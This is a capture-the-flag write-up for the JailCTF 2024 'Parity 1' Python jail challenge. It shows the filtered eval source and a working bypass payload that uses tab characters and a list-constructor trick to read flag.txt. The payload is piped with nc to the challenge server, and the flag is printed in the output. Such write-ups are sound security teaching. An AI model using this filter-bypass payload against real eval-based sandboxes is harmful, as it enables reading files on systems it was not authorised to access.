MisTrale Write UpMisTrale Write Up
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
    • ๐Ÿ Introduction
    • ๐ŸŒŸ Acknowledgments
  • ๐Ÿ’€ Root-Me 20k

    • ๐Ÿ’€ Root Me - 20k
    • โค๏ธ Bash - Love Me
    • ๐Ÿ›‘ Python - Not This Way
    • ๐Ÿ“š NodeJs - Never Trust Node One
  • โ›“๏ธ JailCTF-2024

    • ๐Ÿ‘ฎ JailCTF - 2024
    • ๐Ÿ”  !Alphabeat
    • ๐Ÿง‘โ€๐Ÿฆฏ Blind Calc
    • ๐ŸŽ‰ Parity 1
    • ๐ŸŽˆ Parity 2
    • ๐Ÿช„ Pickle Magic
    • โ˜Ž๏ธ Get and Call
    • โ‰๏ธ No Sense
    • ๐ŸŸฉ Filter'd
    • ๐Ÿง SUS Calculator
  • ๐Ÿ•น๏ธ TCP1P

    • ๐ŸŽฎ Another Discord
  • ๐Ÿงฎ GCC-2024

    • ๐Ÿ˜… soBusy
  • ๐ŸŒ› Midnight

    • ๐ŸŒƒ Midnight
    • โœจ Privesc - 1
    • ๐Ÿ”‘ Privesc - 2
    • ๐Ÿ‘‘ Privesc - 3
    • ๐ŸŽญ My Face

๐ŸŽ‰ Parity 1

๐Ÿ‘€ Before you start

You can donate to me via Buy Me a Coffee or follow me on Github

๐Ÿ“– Challenge Statement

#!/usr/local/bin/python3
inp = input("> ")

for i, v in enumerate(inp):
    if not (ord(v) < 128 and i % 2 == ord(v) % 2):
        print('bad')
        exit()

eval(inp)

๐Ÿšฉ Getting the Flag

We have a small script that checks each character of the user input for the following:

  • If the ASCII code of the character is greater than 128.
  • If the character index is odd, but the ASCII code of the character is even.

If these conditions are met, the program prints bad and exits.

Our goal is to ensure perfect conformity with these conditions in order to bypass the check and execute code.

An interesting point here is that our eval is using a global scope, which allows us to execute code.

We can do something quite simple:

  • Use the fact that \t (ASCII 9) is an odd number, and (ASCII 32) is an even number.
  • The open keyword satisfies the challenge's conditions.
open\t('f' + 'l' +"a"+"g"+ '.' + 't' + 'x' + 't' )

Now, we just need to find a way to read the file content, since we can't use the word read.

Luckily, thereโ€™s a neat trick for that:

type([ ] )(open\t('f' + 'l' +"a"+"g"+ '.' + 't' + 'x' + 't' ) )

This will give us the file's content locally.

>>> eval("""type([ ] )(open\t('f' + 'l' +"a"+"g"+ '.' + 't' + 'x' + 't' ) )""")
['jail{flag_will_be_here_on_remote}\n']

Now, let's send this to the server.

$ cat inject.py
inp = """eval\t(\ttype([ ] )(open\t('f' + 'l' +"a"+"g"+ '.' + 't' + 'x' + 't' ) ) [0] )"""
print(inp)
$ python3 Parity-1/python.py | nc challs2.pyjail.club 7991
> Traceback (most recent call last):
  File "/app/run", line 9, in <module>
    eval(inp)
  File "<string>", line 1, in <module>
  File "<string>", line 1
    jail{parity_41f5812e8c0cd9}
        ^
SyntaxError: invalid syntax

Now head over to version 2 of the challenge Parity 2.

๐Ÿ’– Support

๐Ÿ‘€ Before you leave

You can donate to me via Buy Me a Coffee or follow me on Github

Prev
๐Ÿง‘โ€๐Ÿฆฏ Blind Calc
Next
๐ŸŽˆ Parity 2